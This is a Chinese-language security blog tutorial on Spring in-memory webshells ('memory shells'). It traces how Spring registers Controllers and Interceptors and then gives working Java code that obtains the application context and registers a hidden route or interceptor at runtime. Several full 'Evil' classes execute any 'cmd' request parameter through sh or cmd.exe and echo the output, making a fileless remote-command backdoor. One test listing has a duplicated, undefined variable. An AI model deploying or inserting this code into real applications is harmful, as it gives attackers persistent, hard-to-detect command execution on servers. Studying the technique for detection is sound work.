Spring内存马
发表于:2025-08-06 | 分类: Java

Spring内存马

前言

Spring内存马常见的有两种,Controller内存马和Interceptor内存马,有了前面学习Tomcat的Filter、Servlet、Listener和Valve内存马的学习,学习Spring内存马感觉到是比较轻松的

Spring基础

Spring的相关基础,都是之前在一点点瞎学习和审计SpringBoot系统中学到的,也不是很会整理和总结,就不误人子弟了。这里拿出一张我个人感觉不错的流程图,可以根据这个去跟一下Dispatcher的流程。

SpringController内存马

环境搭建

环境的配置与版本如下:

  • SpringBoot2.6.13
  • JDK8u65
  • Maven3.9.8

在IDEA中新建项目,选择SpringBoot模块,类型设置为Maven,JDK我选择用JDK8u65。点击下一步

这里我选的SpringBoot版本为2.6.13,依赖添加SpringWeb,点击创建即可

新建一个Controller,文件内容如下,这样我们的基础环境就搭建好了

1
2
3
4
5
6
7
8
9
@Controller
public class SpringController {

@RequestMapping("/hello")
@ResponseBody
public String hello() {
return "Hello World";
}
}

源码分析

Controller流程分析

个人感觉Spring的Controller和Tomcat的Servlet很相似,都作用于路由,可以通过某个特定的路径访问特定的业务逻辑

我们在Controller中下一个断点,走到这里,我们可以看到左下角堆栈信息

进入doDispatch方法中,首先通过getHandler方法,获取到对应的Handler,然后再调用getHandlerAdapter方法获取到对应的适配器,最后去调用ha.handler

getHandler方法中,会寻找我们访问路径所对应的HandlerMapping,其中HandlerMappings中存在五个HandlerMapping,通过迭代器进行遍历,找到匹配的HandlerMapping

跟进getHandler方法,然后持续跟进getHandlerInternalmappingRegistry中就存储着我们的路由信息,这里首先对mappingRegistry进行上锁,最后在finally块中,进行解锁,

跟进lookupHandlerMethod方法,这里根据我们访问的路径,获取到了对应的路由

也就是说,我们只需要向mappingRegistry中添加恶意Controller的路由信息,就可以达到注入内存马的效果

Controller注册流程

AbstractHandlerMethodMappinginitHanlderMethods方法处下一个断点,来分析Controller注册流程

看到initHandlerMethods方法,遍历所有bean,传入processCandidateBean方法中来处理bean

跟进processCandidateBean方法中,通过getType方法获取beanType,后续判断该Bean是否为Handler对象,如果是的话,就将其传入detectHandlerMethods方法中

detectHandlerMethods方法中,调用getMappingForMethod来获取到Map类methods,构成为<Method,RequestMapping>,后续通过遍历methods,调用registerHandlerMethod方法执行了注册Controller的操作

持续跟进registerHandlerMethod,最后注册Controller的方法为this.mappingRegistry.register方法

注册Controller

获取上下文

对于内存马的注入,最重要的事情就是获取上下文,在Tomcat中获取说的上下文为StandardContext,对于Spring获取的就是WebApplicationContext

获取上下文常用的方法有五种:

  1. ContextLoader
  2. WebApplicationContextUtils
  3. RequestContextUtils
  4. getAttribute
  5. 反射获取
ContextLoader

直接通过ContextLoader获取,获取到当前ContextLoader创建的WebApplicationContext(一般ContextLoader会被ban)

1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContextUtils

该工具类的getWebApplicationContext方法也是获取到ContextLoaderListener所创建的ROOTWebApplicationContext

1
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

需要注意的是,在spring 5之后的的WebApplicationContextUtils已经没有getWebApplicationContext方法

RequestContextUtils

通过RequestContextHolder获取request,然后获取servletRequest后通过RequestContextUtils获取ROOTWebApplicationContext

1
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
getAttribute

RequestContextHolder方法直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT中获取Context即可

1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
反射获取

最后也可以直接通过反射获取WebApplicationContext

1
2
3
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

注册Controller

在Spring2.5 - 3.1中使用defaultAnnotationHandlerMapping处理URL映射。在Spring3.1之后使用RequestMappingHandlerMapping方法

在模拟注册Controller时,一般有三种方法

registryMapping

根据上面的源码分析,可以直接将Controller直接注册进registryMapping

现在想要将Controller注册去,那么我们就要获取到registryMapping,而该参数可以直接通过调用WebApplicationContextgetBean方法获取,上面说了怎么获取上下文,因此使用以下代码即可获取registryMapping

1
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

在调用RegistryMapping注册时,需要传入三个参数:RequestMappingInfoControllerMethod,因此这三个参数是我们所需要构造的

创建RequestMappingInfo,需要传入PatternsRequestCondition(Controller映射的URL)和RequestMethodsRequestCondition(HTTP的请求方法)

1
2
3
PatternsRequestCondition url = new PatternsRequestCondition("/memShell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

恶意Controller就是我们的核心,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RestController
public class InjectedController {
public InjectedController(){
}
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}

最后需要创建Method,就是我们想要触发的Controller中的方法,这里我们通过反射获取该方法

1
Method method = InjectedController.class.getMethod("cmd");

最后调用RegistryMapping方法进行注册即可

1
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
detectHandlerMethods

在上面分析注册流程时,detectHandelerMethods中,用getMappingForMethod获取了RequestMappingInfo,然后调用registerHandlerMethod方法进行调用

这里由于detectHandlerMethods为protect作用域,因此需要通过反射调用该方法(在使用该方法注册Controller的时候,我们构造的恶意Controller需要用注解指定路径,例如@RequestMapping("/backdoor")

1
2
3
4
5
6
7
8
9
//在上下文中注册一个名为 dynamicController 的 Webshell controller
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
//从上下文中获得 RequestMappingHandlerMapping
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
//反射获得 detectHandlerMethods Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
//通过反射将 dynamicController 注册到 handlerMap 中
m1.invoke(requestMappingHandlerMapping, "dynamicController");
registerHandler

上面两种方法适用于spring3.1之后,RequestMappingHandlerMapping为映射器时。当使用DefaultAnnotationHandlerMapping作为映射器时,可以使用该类顶层父类的registerHandler方法来注册controller,但是不太常用了。

1
2
3
4
5
6
7
8
9
//在上下文中注册一个名为 dynamicController 的 Webshell controller
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
//从上下文中获得 DefaultAnnotationHandlerMapping
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
//反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
//将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

完整测试代码

在真实环境下,肯定是不是这样注入的,而是通过jsp文件或者反序列化注入,但是Spring默认不支持JSP文件的解析,应该大部分都是通过反序列化注入的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
public class EvilController {

@RequestMapping("/Evil")
public void InjectController() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

//手动注册Controller
//从上下文中获得 RequestMappingHandlerMapping
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
//通过反射获得controller中的Method
Method method = evalController.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
//定义controller的路径
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
//定义访问controller的HTTP方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new evalController(), method);

}

public class evalController{
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
}
}

SpringInterceptor内存马

Interceptor和Tomcat中的Filter过滤器很相似,但是还是有些差别。一般来说,Interceptor用来做日志记录,过滤器则用来拦截非法操作。

源码分析

Interceptor流程分析

doDispatch方法中,调用mppedHandler.applyPreHandle方法

跟进applyPreHandle,可以看到里面遍历调用了interceptor的preHande方法,如果其中有拦截器返回false,就会return

这里从别的师傅那里,拿来一张图,该图展现了Filter、Controller、Interceptor中方法的执行顺序

Interceptor注册流程

下断点在DispathcerServlet.doDispatch方法中,持续跟进getHandler方法,在该方法中调用了getHandlerExecutionChain方法

跟进getHandlerExecutionChain,该方法遍历取出adapedInterceptor中的Intercepter,如果该interceptor符合条件,就添加到chain中(和Tomcat中的FilterChain也是比较像的)

注册Interceptor

获取上下文

获取上下文在上面的Controller内存马已经说过了,这里就不再赘述

获取RequestMappingHandlerMapping

AbstractHandlerMappiing类中,通过addInterceptor将拦截器添加至chain中。但该类为抽象类,如果遇到抽象类,那么我们应该去找他的实现类RequestMappingHandler

同样的RequestMappingHandlerMapping可以通过getBean方法从上下文中获取

1
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

注册Interceptor

前面在Interceptor注册流程中分析到过,直接通过调用adaptedInterceptorsadd方法添加即可

1
2
TestInterceptor evilInterceptor=new TestInterceptor();
adtedinterceptors.add(evilInterceptor);

完整测试代码

完整测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import com.stoocea.Interceptor.TestInterceptor;
import org.junit.Test;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import java.lang.reflect.Field;
import java.util.ArrayList;


@Controller
public class Evil2Controller {


@GetMapping("/evil")
@ResponseBody
public String getEvilInterceptor() throws Exception{

WebApplicationContext applicationContext=(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)field.get(null)).iterator().next();

//通过ContextLoader.getCurrentWebApplicationContext() 来获取上下文
WebApplicationContext applicationContext = ContextLoader.getCurrentWebApplicationContext();

//通过IOC容器get到AbstractHandlerMapping
AbstractHandlerMapping handlerMapping=applicationContext.getBean("requestMappingHandlerMapping", AbstractHandlerMapping.class);
//反射获取adaptedInterceptors
Field field1=AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field1.setAccessible(true);
ArrayList<Object> adtedinterceptors =(ArrayList<Object>)field1.get(handlerMapping);
//注册Interceptor
TestInterceptor evilInterceptor=new TestInterceptor();
adtedinterceptors.add(evilInterceptor);

return "inject sucessfully";
}

}

恶意的Interceptor如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class TestInterceptor implements HandlerInterceptor {

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String url = request.getRequestURI();
PrintWriter writer = response.getWriter();

if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
return true;

}
}


小结

不论是学习Tomcat内存马,还是Spring内存马的过程中,都能感觉到能够更好的理解其底层的原理,能够创造出天才的真是Tomcat和Spring!!!

上一篇:
PostgreSQL-JDBC-Attack
下一篇:
Agent内存马